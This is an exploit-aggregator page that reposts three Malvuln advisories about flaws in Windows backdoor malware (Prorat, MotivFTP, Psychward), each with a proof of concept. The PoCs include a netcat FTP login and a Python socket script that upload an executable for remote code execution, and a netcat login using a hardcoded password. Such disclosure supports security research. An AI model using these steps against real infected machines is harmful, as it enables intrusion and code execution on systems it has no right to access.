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Exploit Collector
Backdoor.Win32.Prorat.cwx Insecure Permissions

https://4.bp.blogspot.com/-dyIqvjR3K84/WWlvfXt5NkI/AAAAAAAAIQA/Fvmwfk3J4TgcxqdY3USv0_rN_ZW9VtW1ACLcBGAs/s1600/h85.png
Backdoor.Win32.Prorat.cwx malware suffers from an insecure permissions vulnerability.

MD5 | 5084f32556f74f1f3e5b837f2466de7f

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Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/2d81bf2c55c81778533b55fb444d4dc6.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prorat.cwx
Vulnerability: Insecure Permissions
Description: The malware writes a ".EXE" file with insecure permissions to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges. 
Family: Prorat
Type: PE32
MD5: 2d81bf2c55c81778533b55fb444d4dc6
Vuln ID: MVID-2022-0545
Disclosure: 04/14/2022

Exploit/PoC:
C:\>cacls a.exe
C:\a.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C

C:\dump>dir /a \a.exe
Volume in drive C has no label.

Directory of C:\

04/08/2022  02:31 AM           368,609 a.exe
1 File(s)        368,609 bytes

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Kitploit

Backdoor.Win32.Prorat.cwx Insecure Permissions

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Exploit Collector
Microsoft HTTP Protocol Stack Denial Of Service

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Kitploit

Microsoft HTTP Protocol Stack Denial Of Service

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

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Exploit Collector
Backdoor.Win32.MotivFTP.12 Authentication Bypass

https://3.bp.blogspot.com/-bZ42fSZSr3k/WWlvHn9HijI/AAAAAAAAILg/Inc3JSbnqMk2Mr3Ts5OXFhitf0RPA2_cwCLcBGAs/s1600/h140.png
Backdoor.Win32.MotivFTP.12 malware suffers from an authentication bypass vulnerability.

MD5 | 61728087567c1cd744e947ea1e168649

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Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/91b2d216c5d26d9db4289acf68fa1743.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.MotivFTP.12
Vulnerability: Authentication Bypass 
Description: The malware listens on TCP port 21. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Family: MotivFTP
Type: PE32
MD5: 91b2d216c5d26d9db4289acf68fa1743
Vuln ID: MVID-2022-0544 
Disclosure: 04/14/2022
Exploit/PoC:
C:\>nc64.exe 192.168.18.125 21
220 FTP Server ready
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
CDUP \
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,25).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
import time

HOST = "192.168.18.125"
PORT = 49689
BUF_SIZE = 32
s=socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))

with open("DOOM.exe", "rb") as f:
while True: 
bytez = f.read(BUF_SIZE)
if not bytez:
break
s.send(bytez)
time.sleep(0.5)

print("By malvuln")
s.close()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Backdoor.Win32.MotivFTP.12 Authentication Bypass

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

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Exploit Collector
Backdoor.Win32.Psychward.03.a Weak Hardcoded Password

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
Backdoor.Win32.Psychward.03.a malware suffers from a weak hardcoded password vulnerability.

MD5 | f1fb75cc20a83324b7c933bb9065b448

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Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/d069738f18957117367b8a79195a6a96.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.03.a
Vulnerability: Weak Hardcoded Password
Description:  The malware listens in TCP port 69. The password "tyme" is weak and stored in plaintext with the executable.
Family: Psychward 
Type: PE32
MD5: d069738f18957117367b8a79195a6a96
Vuln ID: MVID-2022-0548
Dropped files: winvxd.exe
Disclosure: 04/14/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 69
pwd tyme tyme
psychward revised 0.3, awaiting your command

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).